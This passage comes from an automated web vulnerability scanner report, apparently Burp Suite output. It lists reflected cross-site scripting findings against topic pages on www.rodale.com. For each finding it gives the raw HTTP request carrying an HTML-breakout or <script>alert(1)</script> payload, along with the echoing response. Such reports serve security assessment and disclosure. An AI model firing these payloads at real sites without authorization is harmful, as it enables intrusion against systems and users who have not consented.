GET /topicf52e8"><a>4e5c2fd6677/social-support HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:55 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:56 GMT
Date: Thu, 10 Mar 2011 17:18:56 GMT
Content-Length: 22513
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicf52e8"><a>4e5c2fd6677 topicf52e8">
...[SNIP]...

2.849. http://www.rodale.com/topic/social-support [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/social-support

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dad8a"><a>0b1266378f3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/social-supportdad8a"><a>0b1266378f3 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:25 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:27 GMT
Date: Thu, 10 Mar 2011 17:19:27 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-social-supportdad8a"><a>0b1266378f3 node node-958">
...[SNIP]...

2.850. http://www.rodale.com/topic/social-support [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/social-support

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 326b1"><script>alert(1)</script>cffd835a247 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/social-support?326b1"><script>alert(1)</script>cffd835a247=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:53 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:54 GMT
Date: Thu, 10 Mar 2011 17:18:54 GMT
Content-Length: 30510
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/social-support?326b1"><script>alert(1)</script>cffd835a247=1" title="Register" class="moreLink">
...[SNIP]...

2.851. http://www.rodale.com/topic/solar-energy [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/solar-energy

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 41999"><a>5dc277e8853 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic41999"><a>5dc277e8853/solar-energy HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:30 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:31 GMT
Date: Thu, 10 Mar 2011 17:18:31 GMT
Content-Length: 22507
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic41999"><a>5dc277e8853 topic41999">
...[SNIP]...

2.852. http://www.rodale.com/topic/solar-energy [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/solar-energy

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1897a"><a>417f3d5b98e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/solar-energy1897a"><a>417f3d5b98e HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:14 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:49:18 GMT
Date: Thu, 10 Mar 2011 17:19:19 GMT
Content-Length: 22486
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-solar-energy1897a"><a>417f3d5b98e node node-958">
...[SNIP]...

2.853. http://www.rodale.com/topic/solar-energy [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/solar-energy

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c0ba9"><script>alert(1)</script>440374569ac was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/solar-energy?c0ba9"><script>alert(1)</script>440374569ac=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:29 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:30 GMT
Date: Thu, 10 Mar 2011 17:18:30 GMT
Content-Length: 29824
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/solar-energy?c0ba9"><script>alert(1)</script>440374569ac=1" title="Register" class="moreLink">
...[SNIP]...

2.854. http://www.rodale.com/topic/spirituality [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/spirituality

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1f4d6"><a>7af4e9528a5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic1f4d6"><a>7af4e9528a5/spirituality HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:44 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:45 GMT
Date: Thu, 10 Mar 2011 17:18:45 GMT
Content-Length: 22507
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic1f4d6"><a>7af4e9528a5 topic1f4d6">
...[SNIP]...

2.855. http://www.rodale.com/topic/spirituality [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/spirituality

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4aa40"><a>56ad440d8bd was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/spirituality4aa40"><a>56ad440d8bd HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:15 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:16 GMT
Date: Thu, 10 Mar 2011 17:19:16 GMT
Content-Length: 22486
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-spirituality4aa40"><a>56ad440d8bd node node-958">
...[SNIP]...

2.856. http://www.rodale.com/topic/spirituality [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/spirituality

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 996f0"><script>alert(1)</script>995dbd4c72b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/spirituality?996f0"><script>alert(1)</script>995dbd4c72b=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:42 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:48:43 GMT
Date: Thu, 10 Mar 2011 17:18:44 GMT
Content-Length: 29878
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/spirituality?996f0"><script>alert(1)</script>995dbd4c72b=1" title="Register" class="moreLink">
...[SNIP]...

2.857. http://www.rodale.com/topic/stress [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/stress

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a2ae"><a>685c339edbd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic7a2ae"><a>685c339edbd/stress HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:34 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:35 GMT
Date: Thu, 10 Mar 2011 17:18:35 GMT
Content-Length: 22489
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic7a2ae"><a>685c339edbd topic7a2ae">
...[SNIP]...

2.858. http://www.rodale.com/topic/stress [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/stress

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c76c1"><a>9ad94b1c607 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/stressc76c1"><a>9ad94b1c607 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:24 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:25 GMT
Date: Thu, 10 Mar 2011 17:19:25 GMT
Content-Length: 22468
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-stressc76c1"><a>9ad94b1c607 node node-958">
...[SNIP]...

2.859. http://www.rodale.com/topic/stress [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/stress

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 431e8"><script>alert(1)</script>6574d585ec2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/stress?431e8"><script>alert(1)</script>6574d585ec2=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:33 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:34 GMT
Date: Thu, 10 Mar 2011 17:18:34 GMT
Content-Length: 32641
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/stress?431e8"><script>alert(1)</script>6574d585ec2=1" title="Register" class="moreLink">
...[SNIP]...

2.860. http://www.rodale.com/topic/stroke [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/stroke

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cb510"><a>13991566c5c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topiccb510"><a>13991566c5c/stroke HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:42 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:43 GMT
Date: Thu, 10 Mar 2011 17:18:43 GMT
Content-Length: 22489
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topiccb510"><a>13991566c5c topiccb510">
...[SNIP]...

2.861. http://www.rodale.com/topic/stroke [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/stroke

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 48252"><a>db3ccaf78b7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/stroke48252"><a>db3ccaf78b7 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:11 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:49:15 GMT
Date: Thu, 10 Mar 2011 17:19:16 GMT
Content-Length: 22468
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-stroke48252"><a>db3ccaf78b7 node node-958">
...[SNIP]...

2.862. http://www.rodale.com/topic/stroke [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/stroke

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 18ef5"><script>alert(1)</script>e159a26d4c8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/stroke?18ef5"><script>alert(1)</script>e159a26d4c8=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:40 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:41 GMT
Date: Thu, 10 Mar 2011 17:18:41 GMT
Content-Length: 31602
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/stroke?18ef5"><script>alert(1)</script>e159a26d4c8=1" title="Register" class="moreLink">
...[SNIP]...

2.863. http://www.rodale.com/topic/substance-abuse [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/substance-abuse

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d81f6"><a>bc22c2c4904 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicd81f6"><a>bc22c2c4904/substance-abuse HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:54 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:48:59 GMT
Date: Thu, 10 Mar 2011 17:19:00 GMT
Content-Length: 22516
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicd81f6"><a>bc22c2c4904 topicd81f6">
...[SNIP]...

2.864. http://www.rodale.com/topic/substance-abuse [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/substance-abuse

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 222c1"><a>3e1965d78c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/substance-abuse222c1"><a>3e1965d78c HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:38 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:40 GMT
Date: Thu, 10 Mar 2011 17:19:40 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-substance-abuse222c1"><a>3e1965d78c node node-958">
...[SNIP]...

2.865. http://www.rodale.com/topic/substance-abuse [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/substance-abuse

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fd6c0"><script>alert(1)</script>d4e199591 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/substance-abuse?fd6c0"><script>alert(1)</script>d4e199591=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:52 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:48:53 GMT
Date: Thu, 10 Mar 2011 17:18:54 GMT
Content-Length: 29933
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/substance-abuse?fd6c0"><script>alert(1)</script>d4e199591=1" title="Register" class="moreLink">
...[SNIP]...

2.866. http://www.rodale.com/topic/sugar-tax [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/sugar-tax

Issue detail

